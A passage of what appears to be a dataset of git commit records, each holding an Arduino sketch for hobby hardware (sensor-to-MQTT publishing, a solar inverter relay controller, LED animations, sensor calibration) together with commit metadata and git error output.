<ESP8266WebServer.h>\n\/******************************* DHT Config **********************************\/\n#include <DHT.h>\n#define DHTTYPE DHT11\n#define DHTPIN 2\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"...your SSID...\"\n#define WLAN_PASS \"...your password...\"\n\n\/************************* Adafruit.io Setup *********************************\/\n\n#define AIO_SERVER \"io.adafruit.com\"\n#define AIO_SERVERPORT 1883 \/\/ use 8883 for SSL\n#define AIO_USERNAME \"...your AIO username (see https:\/\/accounts.adafruit.com)...\"\n#define AIO_KEY \"...your AIO key...\"\n\n\/************ Global State (you don't need to change this!) ******************\/\n\n\/\/ Create an ESP8266 WiFiClient class to connect to the MQTT server.\nWiFiClient client;\n\/\/ or... use WiFiFlientSecure for SSL\n\/\/WiFiClientSecure client;\n\n\/\/ Setup the MQTT client class by passing in the WiFi client and MQTT server and login details.\nAdafruit_MQTT_Client mqtt(&client, AIO_SERVER, AIO_SERVERPORT, AIO_USERNAME, AIO_KEY);\n\n\/****************************** Feeds ****************************************\/\n\/****************************** Topics ***************************************\/\n\/\/ Setup a feed called 'temp_topic' and 'humid_topic' for publishing.\n\/\/ Notice MQTT paths for AIO follow the form: <username>\/feeds\/<feedname>\nAdafruit_MQTT_Publish temp_topic = Adafruit_MQTT_Publish(&mqtt, AIO_USERNAME \"\/feeds\/temp\");\nAdafruit_MQTT_Publish humid_topic = Adafruit_MQTT_Publish(&mqtt, AIO_USERNAME \"\/feeds\/humid\");\n\/****************************** Subscriptions*********************************\/\n\/\/ Setup a feed for subscribing\nAdafruit_MQTT_Subscribe temp_subscription = Adafruit_MQTT_Subscribe(&mqtt, AIO_USERNAME \"\/feeds\/temp\");\nAdafruit_MQTT_Subscribe humid_subscription = Adafruit_MQTT_Subscribe(&mqtt, AIO_USERNAME \"\/feeds\/humid\");\n\n\/*************************** MQTT Conn ***************************************\/\n\n\/\/ Bug workaround for Arduino 1.6.6, it seems to need a function declaration\n\/\/ for some reason (only affects ESP8266, likely an arduino-builder bug).\nvoid MQTT_connect();\n\n\/*************************** DHT Init **************************************\/\n\/\/ Initialize DHT sensor\n\/\/ NOTE: For working with a faster than ATmega328p 16 MHz Arduino chip, like an ESP8266,\n\/\/ you need to increase the threshold for cycle counts considered a 1 or 0.\n\/\/ You can do this by passing a 3rd parameter for this threshold. It's a bit\n\/\/ of fiddling to find the right value, but in general the faster the CPU the\n\/\/ higher the value. The default for a 16mhz AVR is a value of 6. For an\n\/\/ Arduino Due that runs at 84mhz a value of 30 works.\n\/\/ This is for the ESP8266 processor on ESP-01\nDHT dht(DHTPIN, DHTTYPE, 11); \/\/ 11 works fine for ESP8266\n\/*************************** DHT Data **************************************\/\n\/\/float humidity, temp_f; \/\/ Values read from sensor as Fahrenheit\nfloat humidity, temp_c; \/\/ Values read from sensor as Celsius\nString tempString = \"\"; \/\/ String to display\n\/*************************** DHT Timing ************************************\/\n\/\/ Generally, you should use \"unsigned long\" for variables that hold time\nunsigned long previousMillis = 0; \/\/ will store last temp was read\nconst long interval = 2000; \/\/ interval at which to read sensor\n\n\/****************************** Setup ***************************************\/\nvoid setup() {\n Serial.begin(115200);\n delay(10);\n\n Serial.println(F(\"Adafruit MQTT demo\"));\n\n \/\/ Connect to WiFi access point.\n Serial.println(); Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(WLAN_SSID);\n\n WiFi.begin(WLAN_SSID, WLAN_PASS);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println();\n\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \"); Serial.println(WiFi.localIP());\n\n \/\/ Setup MQTT subscription for onoff feed.\n mqtt.subscribe(&temp_subscription);\n delay(1000);\n mqtt.subscribe(&humid_subscription);\n}\n\n\/\/uint32_t x = 0; \/\/ Mock data\n\n\/****************************** Loop ***************************************\/\nvoid loop() {\n gettemperature() ;\n \/\/ Ensure the connection to the MQTT server is alive (this will make the first\n \/\/ connection and automatically reconnect when disconnected). See the MQTT_connect\n \/\/ function definition further below.\n MQTT_connect();\n\n \/\/ this is our 'wait for incoming subscription packets' busy subloop\n \/\/ try to spend your time here\n\n \/****************************** Subscript ***********************************\/\n Adafruit_MQTT_Subscribe *subscription;\n while ((subscription = mqtt.readSubscription(10000))) {\n if (subscription == &humid_subscription) {\n Serial.print(F(\"Got humid: \"));\n Serial.println((char *)humid_subscription.lastread);\n }\n else {\n Serial.print(F(\"Got temp: \"));\n Serial.println((char *)temp_subscription.lastread);\n }\n }\n\n \/****************************** Publish **********************************\/\n \/\/ Now we can publish stuff!\n Serial.print(F(\"\\nSending temp val \"));\n Serial.print(temp_c);\n Serial.print(\"...\");\n if (! temp_topic.publish(temp_c)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n\n\n Serial.print(F(\"\\nSending humid val \"));\n Serial.print(humidity);\n Serial.print(\"...\");\n if (! humid_topic.publish(humidity)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n\n \/****************************** Ping ***************************************\/\n\n \/\/ ping the server to keep the mqtt connection alive\n \/\/ NOT required if you are publishing once every KEEPALIVE seconds\n \/*\n if(! mqtt.ping()) {\n mqtt.disconnect();\n }\n *\/\n}\n\/********************************* MQTT Conn ********************************\/\n\/\/ Function to connect and reconnect as necessary to the MQTT server.\n\/\/ Should be called in the loop function and it will take care if connecting.\nvoid MQTT_connect() {\n int8_t ret;\n\n \/\/ Stop if already connected.\n if (mqtt.connected()) {\n return;\n }\n\n Serial.print(\"Connecting to MQTT... \");\n\n uint8_t retries = 3;\n while ((ret = mqtt.connect()) != 0) { \/\/ connect will return 0 for connected\n Serial.println(mqtt.connectErrorString(ret));\n Serial.println(\"Retrying MQTT connection in 5 seconds...\");\n mqtt.disconnect();\n delay(5000); \/\/ wait 5 seconds\n retries--;\n if (retries == 0) {\n \/\/ basically die and wait for WDT to reset me\n while (1);\n }\n }\n Serial.println(\"MQTT Connected!\");\n}\n\/****************************** Get Data From DHTxx ************************\/\nvoid gettemperature() {\n \/\/ Wait at least 2 seconds seconds between measurements.\n \/\/ if the difference between the current time and last time you read\n \/\/ the sensor is bigger than the interval you set, read the sensor\n \/\/ Works better than delay for things happening elsewhere also\n unsigned long currentMillis = millis();\n\n if (currentMillis - previousMillis >= interval) {\n \/\/ save the last time you read the sensor\n previousMillis = currentMillis;\n\n \/\/ Reading temperature for humidity takes about 250 milliseconds!\n \/\/ Sensor readings may also be up to 2 seconds 'old' (it's a very slow sensor)\n humidity = dht.readHumidity(); \/\/ Read humidity (percent)\n \/\/temp_f = dht.readTemperature(true); \/\/ Read temperature as Fahrenheit\n temp_c = dht.readTemperature(); \/\/ Read temperature as Celsius\n \/\/ Check if any reads failed and exit early (to try again).\n if (isnan(temp_c) || isnan(humidity) || temp_c != 0 || humidity != 0 ) {\n Serial.println(\"Failed to read from DHT sensor!\");\n return;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_05_kidSerie_sketch_05.Adafruit_First_Try.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ecd130b6d6894f299dc152865b83184f551bcee5","subject":"Arduino code for voltmeter and relay controller","message":"Arduino code for voltmeter and relay controller\n","repos":"smarquard\/icarus,smarquard\/icarus,smarquard\/icarus,smarquard\/icarus,smarquard\/icarus","old_file":"arduino\/SolarVoltmeter\/SolarVoltmeter.ino","new_file":"arduino\/SolarVoltmeter\/SolarVoltmeter.ino","new_contents":"\/\/ http:\/\/startingelectronics.com\/articles\/arduino\/measuring-voltage-with-arduino\/\n\n\/*--------------------------------------------------------------\n Program: volt_measure\n\n Description: Reads value on analog input A2 and calculates\n the voltage assuming that a voltage divider\n network on the pin divides by 11.\n \n Hardware: Arduino Uno with voltage divider on A2.\n \n Software: Developed using Arduino 1.0.5 software\n Should be compatible with Arduino 1.0 +\n\n Date: 22 May 2013\n \n Author: W.A. Smith, http:\/\/startingelectronics.com\n--------------------------------------------------------------*\/\n\n\/\/ number of analog samples to take per reading\n#define NUM_SAMPLES 20\n\nint sum = 0; \/\/ sum of samples taken\nunsigned char sample_count = 0; \/\/ current sample number\nfloat voltage = 0.0; \/\/ calculated voltage\n\nint inverter = 0; \/\/ is the inverter remote on?\nint mains_power = 0; \/\/ is mains power on?\n\n#define REF_VOLTAGE 4.97 \/\/ Arduino 5V voltage\n\n#define INV_REMOTE 8 \/\/ Output pin for inverter remote control\n#define INV_LIVE 9 \/\/ Output pin for inverter live power\n#define INV_NEUTRAL 10 \/\/ Output \n\n\/\/ Voltage divider A0: 12.59 \/ 2.11\n\nvoid setup()\n{\n Serial.begin(9600);\n pinMode(A0, INPUT); \/\/ Doesn't seem to work \n pinMode(A1, INPUT); \/\/ Input from voltage divider\n \n pinMode(12, INPUT); \/\/ mains_power voltage sensor (relay contact, 0V\/5V)\n \/\/ Relay http:\/\/www.farnell.com\/datasheets\/296895.pdf wiring 5V (digital 1)=no power\n \n pinMode(INV_REMOTE, OUTPUT); \/\/ Relay board channel 1: Inverter remote\n pinMode(INV_LIVE, OUTPUT); \/\/ Relay board channel 3: Inverter\/mains_power live\n pinMode(INV_NEUTRAL, OUTPUT); \/\/ Relay board channel 4: Inverter\/mains_power neutral\n \n digitalWrite(INV_REMOTE, LOW);\n digitalWrite(INV_LIVE, LOW);\n digitalWrite(INV_NEUTRAL, LOW);\n \n}\n\nvoid loop()\n{\n \/\/ take a number of analog samples and add them up\n while (sample_count < NUM_SAMPLES) {\n float sample = analogRead(A1);\n sum += sample;\n sample_count++;\n \/\/ Serial.print(\"Actual: \");\n \/\/ Serial.println(sample);\n delay(20);\n }\n \/\/ calculate the voltage\n \/\/ use 5.0 for a 5.0V ADC reference voltage\n \/\/ 5.015V is the calibrated reference voltage\n voltage = (((float)sum \/ (float)NUM_SAMPLES * REF_VOLTAGE) \/ 1024.0) * 5.99;\n\n \/\/ send voltage for display on Serial Monitor\n \/\/ voltage multiplied by 11 when using voltage divider that\n \/\/ divides by 11. 11.132 is the calibrated voltage divide\n \/\/ value\n \n Serial.print(\"voltage=\");\n Serial.print(voltage);\n \n \/\/ mains_power sensor\n mains_power = !digitalRead(12);\n \n Serial.print(\" mains_power=\");\n Serial.print(mains_power);\n\n if (!mains_power) {\n \/\/ Always use inverter: low-voltage cutoff will cause it to power off eventually \n if (!inverter) {\n inverterOn();\n }\n } else {\n\n \/\/ Battery getting low\n if ((voltage < 12.1) && inverter) {\n inverterOff();\n }\n \n \/\/ Battery charged and\/or solar power available\n if ((voltage > 12.5) && !inverter) {\n inverterOn();\n }\n \n }\n \n Serial.print(\" inverter=\");\n Serial.print(inverter);\n \n Serial.println();\n \n sample_count = 0;\n sum = 0;\n \n delay(4600);\n}\n\nvoid inverterOn() {\n digitalWrite(INV_REMOTE, HIGH);\n delay(1000); \n digitalWrite(INV_LIVE, HIGH);\n digitalWrite(INV_NEUTRAL, HIGH);\n inverter = 1;\n}\n\nvoid inverterOff() {\n digitalWrite(INV_LIVE, LOW);\n digitalWrite(INV_NEUTRAL, LOW);\n delay(500);\n digitalWrite(INV_REMOTE, LOW);\n inverter = 0;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/SolarVoltmeter\/SolarVoltmeter.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0ef2842943ab58e0b46b161a0f341448c0a470f6","subject":"special animation for the Vermillion exhibit that incorporates a range finder to shift between a blue-green stasis pattern and go more red-orange as someone gets closer. with sparkle motion!","message":"special animation for the Vermillion exhibit that incorporates a range finder to shift between a blue-green stasis pattern and go more red-orange as someone gets closer. with sparkle motion!\n","repos":"littlebee\/solar-sunflower,littlebee\/solar-sunflower,littlebee\/solar-sunflower,littlebee\/solar-sunflower","old_file":"arduino\/scripts\/vermillion\/vermillion.ino","new_file":"arduino\/scripts\/vermillion\/vermillion.ino","new_contents":"\n#include <Adafruit_WS2801.h>\n\n\/\/ Choose which 2 pins you will use for output.\n\/\/ Can be any valid output pins.\nconst int DATA_PIN = 2; \/\/ 'yellow' wire\nconst int CLOCK_PIN = 3; \/\/ 'green' wire\n\nconst int SENSOR_PIN = A0;\n\n\/\/ highest component color value we want to push. could be as high as 31\nconst int MAX_COLOR = 31;\nconst int MIN_COLOR = 2;\nconst int NUM_PIXELS = 50;\n\nconst int INACTIVE_MAX_BLUE = MAX_COLOR \/ 2;\nconst int INACTIVE_MIN_BLUE = MIN_COLOR;\nconst int INACTIVE_MAX_GREEN = MAX_COLOR;\nconst int INACTIVE_MIN_GREEN = MAX_COLOR + 10;\nconst int INACTIVE_MAX_RED = 0;\nconst int INACTIVE_MIN_RED = 0;\n\nconst int ACTIVE_MAX_BLUE = 0;\nconst int ACTIVE_MIN_BLUE = 0;\nconst int ACTIVE_MAX_GREEN = 20;\nconst int ACTIVE_MIN_GREEN = 8;\nconst int ACTIVE_MAX_RED = MAX_COLOR;\nconst int ACTIVE_MIN_RED = MAX_COLOR;\n\nconst int LOOP_DELAY = 50;\n\/\/ odds of any one pixel being full white for 1 loop delay\nconst int SPARKLE_DEMONINATOR = 100;\n\n\n\nAdafruit_WS2801 strip = Adafruit_WS2801(NUM_PIXELS, DATA_PIN, CLOCK_PIN);\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n strip.begin();\n strip.show();\n\n pinMode(SENSOR_PIN, INPUT);\n\n Serial.begin(9600);\n Serial.println(\"Starting Up Vermillion animation...\"); \n}\n\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n int i;\n int component;\n int step;\n int red;\n int green;\n int blue;\n int sensorValue;\n \n \/\/ sensor values between 20 - 200 cause an equal percentage of the first and last\n \/\/ 20 pixels to go to red scale \n sensorValue = analogRead(SENSOR_PIN);\n\n for (int i = 0; i < NUM_PIXELS; i++){\n if (random(SPARKLE_DEMONINATOR) == 1){\n red = MAX_COLOR;\n green = MAX_COLOR;\n blue = MAX_COLOR;\n } else if( shouldGoRed(i, sensorValue) ){\n red = random(ACTIVE_MIN_RED, ACTIVE_MAX_RED);\n green = random(ACTIVE_MIN_GREEN, ACTIVE_MAX_GREEN);\n blue = random(ACTIVE_MIN_BLUE, ACTIVE_MAX_BLUE);\n } else {\n red = random(INACTIVE_MIN_RED, INACTIVE_MAX_RED);\n green = random(INACTIVE_MIN_GREEN, INACTIVE_MAX_GREEN);\n blue = random(INACTIVE_MIN_BLUE, INACTIVE_MAX_BLUE);\n }\n strip.setPixelColor(i, red, green, blue);\n }\n strip.show();\n delay(LOOP_DELAY);\n}\n\nbool shouldGoRed(int pixelIndex, int sensorValue){\n char outputBuffer[64];\n int degree = (sensorValue \/ 9);\n \n if( pixelIndex > 20 && pixelIndex < 30 || sensorValue > 200)\n return false;\n\n \/\/ Serial.print(itoa(pixelIndex, outputBuffer, 10));\n \/\/ Serial.print(\"- SENSOR_PIN: \");\n \/\/ Serial.print(\", degree: \");\n \/\/ Serial.print(itoa(degree, outputBuffer, 10));\n \/\/ Serial.print(\"\\n\");\n\n return pixelIndex < 20 - degree || pixelIndex > 30 && pixelIndex < 50 - degree;\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/scripts\/vermillion\/vermillion.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4869f46c62ff38b62993342af1b7368553084e81","subject":"calibration code for IR sensor for reference","message":"calibration code for IR sensor for reference\n","repos":"idf\/Robot-In-Maze,idf\/Robot-In-Maze,idf\/Robot-In-Maze","old_file":"arduino_motor\/Calibration\/Calibration.ino","new_file":"arduino_motor\/Calibration\/Calibration.ino","new_contents":"\/*\n Calibration\n \n Demonstrates one technique for calibrating sensor input. The\n sensor readings during the first five seconds of the sketch\n execution define the minimum and maximum of expected values\n attached to the sensor pin.\n \n The sensor minimum and maximum initial values may seem backwards.\n Initially, you set the minimum high and listen for anything \n lower, saving it as the new minimum. Likewise, you set the\n maximum low and listen for anything higher as the new maximum.\n \n The circuit:\n * Analog sensor (potentiometer will do) attached to analog input 0\n * LED attached from digital pin 9 to ground\n \n created 29 Oct 2008\n By David A Mellis\n modified 30 Aug 2011\n By Tom Igoe\n \n http:\/\/arduino.cc\/en\/Tutorial\/Calibration\n \n This example code is in the public domain.\n \n *\/\n\n\/\/ These constants won't change:\nconst int sensorPin = A0; \/\/ pin that the sensor is attached to\nconst int ledPin = 9; \/\/ pin that the LED is attached to\n\n\/\/ variables:\nint sensorValue = 0; \/\/ the sensor value\nint sensorMin = 1023; \/\/ minimum sensor value\nint sensorMax = 0; \/\/ maximum sensor value\n\n\nvoid setup() {\n \/\/ turn on LED to signal the start of the calibration period:\n pinMode(13, OUTPUT);\n digitalWrite(13, HIGH);\/\/pin 13?\n\n \/\/ calibrate during the first five seconds \n while (millis() < 5000) {\n sensorValue = analogRead(sensorPin);\n\n \/\/ record the maximum sensor value\n if (sensorValue > sensorMax) {\n sensorMax = sensorValue;\n }\n\n \/\/ record the minimum sensor value\n if (sensorValue < sensorMin) {\n sensorMin = sensorValue;\n }\n }\n\n \/\/ signal the end of the calibration period\n digitalWrite(13, LOW);\n}\n\nvoid loop() {\n \/\/ read the sensor:\n sensorValue = analogRead(sensorPin);\n\n \/\/ apply the calibration to the sensor reading\n sensorValue = map(sensorValue, sensorMin, sensorMax, 0, 255);\n\n \/\/ in case the sensor value is outside the range seen during calibration\n sensorValue = constrain(sensorValue, 0, 255);\n\n \/\/ fade the LED using the calibrated value:\n analogWrite(ledPin, sensorValue);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_motor\/Calibration\/Calibration.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1ac2f52d9d1a1dd3603cecacad3fa9f6d0567d2c","subject":"Create Heltec_LoRa32_ttn-abp.ino","message":"Create Heltec_LoRa32_ttn-abp.ino","repos":"ckuehnel\/LoRa,ckuehnel\/LoRa,ckuehnel\/LoRa","old_file":"Heltec_LoRa32_ttn-abp\/Heltec_LoRa32_ttn-abp.ino","new_file":"Heltec_LoRa32_ttn-abp\/Heltec_LoRa32_ttn-abp.ino","new_contents":"\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Heltec_LoRa32_ttn-abp\/Heltec_LoRa32_ttn-abp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"99f3c785b318aab9ae88fd1e3679f93f9367f191","subject":"dang, wasn't that the error anyway??","message":"dang, wasn't that the error anyway??\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Motion.ino","new_file":"ArduinoClient\/Motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"668214bea3fc09687e4b2294af9be32ed249cb5f","subject":"copy galaxytopper.ino to \"tick_demos.ino\"","message":"copy galaxytopper.ino to \"tick_demos.ino\"\n\nI'm going to be reducing the number and diversity of modes in my topper,\nbut want to preserve this functionality for demonstration purposes.\n","repos":"kylemarsh\/galaxytopper","old_file":"tick_demos.ino","new_file":"tick_demos.ino","new_contents":"\/*\n * Fimware for the Galaxy Topper\n * Galaxy Topper is a top hat inspired by Chris Knight's build at:\n * http:\/\/www.instructables.com\/id\/My-hat-its-full-of-stars\/\n *\n * It uses 6 ShiftBrite pixels to drive a \"galaxy\" of points of light poking\n * through the felt of a simple, felt top hat. The hat has several different\n * modes and more can be added fairly easily. There is a momentary pushbutton\n * hidden under the bow on the band to cycle through the modes. To keep things\n * fresh and interesting the pushbutton seeds the pRNG with the current value\n * of millis() when pushed.\n *\n * MODES:\n * - Stealth: All pixels are off, leaving the hat dark.\n * - Sparkle: each pixel picks a random color, waits a short time, and picks a\n * new one\n * - Rainbow: Each pixel fades around the color wheel. Pixels are offset from\n * one another to give a more active pattern\n * - Nebula: each pixel fades randomly through blue\/white\/purple colors\n * creating a rippling, twinkling pattern in the colors of the night sky\n * - Christmas Lights: Pixels cycle through the soft colors of old strings of\n * Christmas lights. Colors are nominally red, yellow, green, and blue,\n * TODO: but in practice are washed out and warmed over\n * - Christmas: Pixels alternate between red and green.\n *\n * TODO:\n * I'd really like to add a couple more pixels tied directly into certain\n * patterns (alchemical symbols?) that I can have illuminate at random or on\n * command, but I'm not sure if that'll work out.\n *\/\n\n\n#include \"shiftbrite.h\"\n#include \"ticker.h\"\n#include \"math.h\" \/\/ only used to get pow(...) for our skew(...) function\n\n\/* Constants *\/\n#define LATCH_PIN 9 \/\/ replace with pin you use for the ShiftBrite latch\n#define BUTTON_PIN 3 \/\/ pin used for the button to cycle modes\n#define NUM_LEDS 6 \/\/ Number of LEDs in your chain\n#define NUM_MODES 6 \/\/ Number of light modes the topper supports\n#define FPS 100 \/\/ number of times per second to update shiftbrites\n#define TPS 100 \/\/ ticks per second\n\n\/* Predeclarations *\/\n\/\/ Necessary to avoid confusing particle's preprocessor\n\/\/ see https:\/\/docs.particle.io\/reference\/firmware\/core\/#preprocessor\nvoid colorwheel_tick(Ticker *t, unsigned long tick);\nvoid cycling_tick(Ticker *t, unsigned long tick);\nvoid fading_cycling_tick(Ticker *t, unsigned long tick);\nvoid targeted_tick(Ticker *t, unsigned long tick);\nvoid dark_tick(Ticker *t, unsigned long tick);\nTickerRgb hsv2rgb(double hue, double sat, double value);\n\n\/* Define Objects *\/\nShiftBrite sb(NUM_LEDS, LATCH_PIN);\nTicker Tickers[NUM_LEDS] = {\n\tTicker(&dark_tick, 0, 0, 0),\n\tTicker(&dark_tick, 0, 0, 0),\n\tTicker(&dark_tick, 0, 0, 0),\n\tTicker(&dark_tick, 0, 0, 0),\n\tTicker(&dark_tick, 0, 0, 0),\n\tTicker(&dark_tick, 0, 0, 0),\n};\n\n\/* Timing *\/\nunsigned long frame_delay = 1000 \/ FPS;\nunsigned long tick_delay = 1000 \/ TPS;\nunsigned long tick, last_tick, last_frame = 0;\n\n\/* Button to switch modes *\/\nint current_mode = 0;\nvolatile int mode_change_requested = 0;\nvolatile unsigned long button_last_triggered = 0;\n\nvoid setup()\n{\n\t\/\/ Initialize shiftbrite\n\tsb.begin();\n\tsb.show();\n\n\t\/\/ Set up mode-change button\n\tpinMode(BUTTON_PIN, INPUT_PULLUP);\n\tattachInterrupt(digitalPinToInterrupt(BUTTON_PIN), trigger_change, FALLING);\n\n\t\/\/ Initialize tickers\n\tmode_stealth();\n}\n\nvoid loop()\n{\n\tif (mode_change_requested) {\n\t\tchange_mode();\n\t\tmode_change_requested = 0;\n\t}\n\n\tunsigned long now = millis();\n\n\t\/\/ Is it time to do another tick?\n\tif (now - last_tick > tick_delay) {\n\t\tlast_tick = millis();\n\t\tfor(int i = 0; i < NUM_LEDS; ++i) {\n\t\t\tTickers[i].Tick(tick);\n\t\t\tTickerRgb c = Tickers[i].current;\n\t\t\tsb.setPixelRGB(i, c.red, c.green, c.blue);\n\t\t}\n\t\t++tick;\n\t}\n\n\t\/\/ Is it time to refresh our shiftbrites?\n\tif (millis() - last_frame > frame_delay) {\n\t\tlast_frame = millis();\n\t\tsb.show();\n\t}\n}\n\n\/*********************\n * MODE SETUP FUNCTIONS *\n ************************\/\nvoid trigger_change() {\n\tif (millis() - button_last_triggered > 600) {\n\t\tbutton_last_triggered = millis();\n\t\tmode_change_requested = 1;\n\t}\n}\n\nvoid change_mode() {\n\trandomSeed(millis());\n\n\t++current_mode;\n\tcurrent_mode %= NUM_MODES;\n\tswitch(current_mode) {\n\t\tcase 0:\n\t\t\tmode_stealth();\n\t\t\tbreak;\n\t\tcase 1:\n\t\t\tmode_sparkle();\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tmode_rainbow();\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tmode_nebula();\n\t\t\tbreak;\n\t\tcase 4:\n\t\t\tmode_christmas_lights();\n\t\t\tbreak;\n\t\tcase 5:\n\t\t\tmode_christmas();\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tmode_stealth();\n\t\t\tbreak;\n\t}\n\n}\n\nvoid mode_stealth()\n{\n\tfor (int i = 0; i < NUM_LEDS; ++i) {\n\t\tTickers[i] = Ticker(&dark_tick, 0, 0, 0);\n\t}\n}\n\nvoid mode_nebula()\n{\n\t\/\/ Use targeting tickers constrained to be colors with strong blue channels\n\t\/\/ to make a flickering \"nebula\" effect.\n\tfor (int i = 0; i < NUM_LEDS; ++i) {\n\t\tTickers[i] = Ticker(&targeted_tick, 3, 0, i * 5 + 1);\n\n\t\tTickers[i].targets[0] = {red: random(0,1023), green: random(0,1023), blue: random(0,1023)};\n\t\tTickers[i].targets[1] = {red: 0, green: 0, blue: 511};\n\t\tTickers[i].targets[2] = {red: 1023, green: 1023, blue: 1023};\n\t}\n}\n\nvoid mode_sparkle()\n{\n\tfor (int i = 0; i < NUM_LEDS; ++i) {\n\t\tTickers[i] = Ticker(&random_tick, 0, 2, i);\n\t}\n}\n\nvoid mode_christmas_lights()\n{\n\tfor (int i = 0; i < NUM_LEDS; ++i) {\n\t\t\/\/ Slow by 2^6\n\t\tTickers[i] = Ticker(&cycling_tick, 4, 6, i);\n\n\t\t\/\/TODO: Adjust these values to taste to simulate christmas lights\n\t\tTickers[i].targets[0] = {red: 1023, green: 0, blue: 0}; \/\/ Red\n\t\tTickers[i].targets[1] = {red: 1023, green: 1023, blue: 0}; \/\/ Yellow\n\t\tTickers[i].targets[2] = {red: 0, green: 1023, blue: 0}; \/\/ Green\n\t\tTickers[i].targets[3] = {red: 0, green: 0, blue: 1023}; \/\/ Blue\n\t}\n}\n\nvoid mode_christmas()\n{\n\tfor (int i = 0; i < NUM_LEDS; ++i) {\n\t\t\/\/ Slow by 2^6\n\t\tTickers[i] = Ticker(&cycling_tick, 2, 6, i);\n\n\t\tTickers[i].targets[0] = {red: 1023, green: 0, blue: 0}; \/\/ Red\n\t\tTickers[i].targets[1] = {red: 0, green: 1023, blue: 0}; \/\/ Green\n\t}\n}\n\nvoid mode_rainbow()\n{\n\tfor (int i = 0; i < NUM_LEDS; ++i) {\n\t\tTickers[i] = Ticker(&colorwheel_tick, 0, 0, i * 15);\n\t}\n}\n\n\/*********************\n * TICKER FUNCTIONS *\n *********************\/\n\n\/* Do nothing *\/\nvoid dark_tick(Ticker *t, unsigned long tick)\n{\n\tt->current = {red: 0, green: 0, blue: 0};\n}\n\n\/*\n * Cycles around the color wheel by using tick to compute the hue (value and\n * saturation are held constant at 1).\n *\n * Ticker's speed_adjust is used to slow the cycle by powers of 2\n *\n * Ticker's offset is used to set the color *ahead* of the tick's base hue.\n * This can be used to sync multiple colorwheel_tick Tickers into a ribbon.\n *\n * This tick function does not use any target colors.\n *\/\nvoid colorwheel_tick(Ticker *t, unsigned long tick)\n{\n\tint16_t hue = ((tick >> t->speed_adjust) + t->offset) % 360;\n\tt->current = hsv2rgb((double)hue, 1.0, 1.0);\n}\n\n\/*\n * Picks a random color and switches to it.\n *\n * By default it switches every tick. Slow this by 2^n by setting Ticker's\n * speed_adjust to n.\n *\n * This tick function does not use any targets\n *\/\nvoid random_tick(Ticker *t, unsigned long tick)\n{\n\tif (tick % (1 << t->speed_adjust)) {return;}\n\tt->current = {red: random(0,1023), green: random(0,1023), blue: random(0,1023)};\n}\n\n\/*\n * Cycles through a fixed list of target colors.\n *\n * By default moves to the next color in the cycle every tick. Slow this\n * by 2^n by setting Ticker's speed_adjust to n.\n *\n * Advance the position in the cycle with Ticker's offset. This can be used to\n * sync multiple cycling_tick tickers into a string.\n *\n * This tick function uses as many targets as you choose to give the Ticker.\n *\/\nvoid cycling_tick(Ticker *t, unsigned long tick)\n{\n\tint current_index = ((tick >> t->speed_adjust) + t->offset) % t->num_targets;\n\tt->current = t->targets[current_index];\n}\n\n\/*\n * Cycles through a fixed list of target colors, fading between them.\n *\n * Fading from one color to the next takes about a second. TODO: make this\n * dynamic via Ticker's speed_adjust.\n *\n * Advance the position in the cycle with Ticker's offset. This can be used to\n * sync multiple cycling_tick tickers into a string.\n *\n * This tick function uses as many targets as you choose to give the Ticker.\n *\/\nvoid fading_cycling_tick(Ticker *t, unsigned long tick)\n{\n\tint previous_index = ((tick \/ TPS) + t->offset) % t->num_targets; \/\/ Update target once per second.\n\tTickerRgb previous_color = t->targets[previous_index];\n\tTickerRgb next_color = t->targets[(previous_index + 1) % t->num_targets];\n\n\tint16_t red_delta = next_color.red - previous_color.red;\n\tint16_t current_red = previous_color.red + ((red_delta * (tick % TPS)) \/ TPS);\n\tint16_t green_delta = next_color.green - previous_color.green;\n\tint16_t current_green = previous_color.green + ((green_delta * (tick % TPS)) \/ TPS);\n\tint16_t blue_delta = next_color.blue - previous_color.blue;\n\tint16_t current_blue = previous_color.blue + ((blue_delta * (tick % TPS)) \/ TPS);\n\n\tt->current = {red: current_red, green: current_green, blue: current_blue};\n}\n\n\/*\n * Fades to a target color. Once target color is reached, the target and fade\n * speed are randomized. Target randomization is controllable within min and\n * max values on each color channel.\n *\n * Ticker's offset is used as the step size to control how quickly the color\n * moves towards the target.\n *\n * Ticker's speed_adjust is used to skip cycles by powers of 2:\n * 0 executes every cycle\n * 1 executes every other cycle\n * 2 executes every fourth cycle...\n *\n * This tick function uses three \"target\" colors:\n * 0: The color to fade towards\n * 1: The minimum value for each color channel when randomizing\n * 2: The maximum value for each color channel when randomizing\n *\/\nvoid 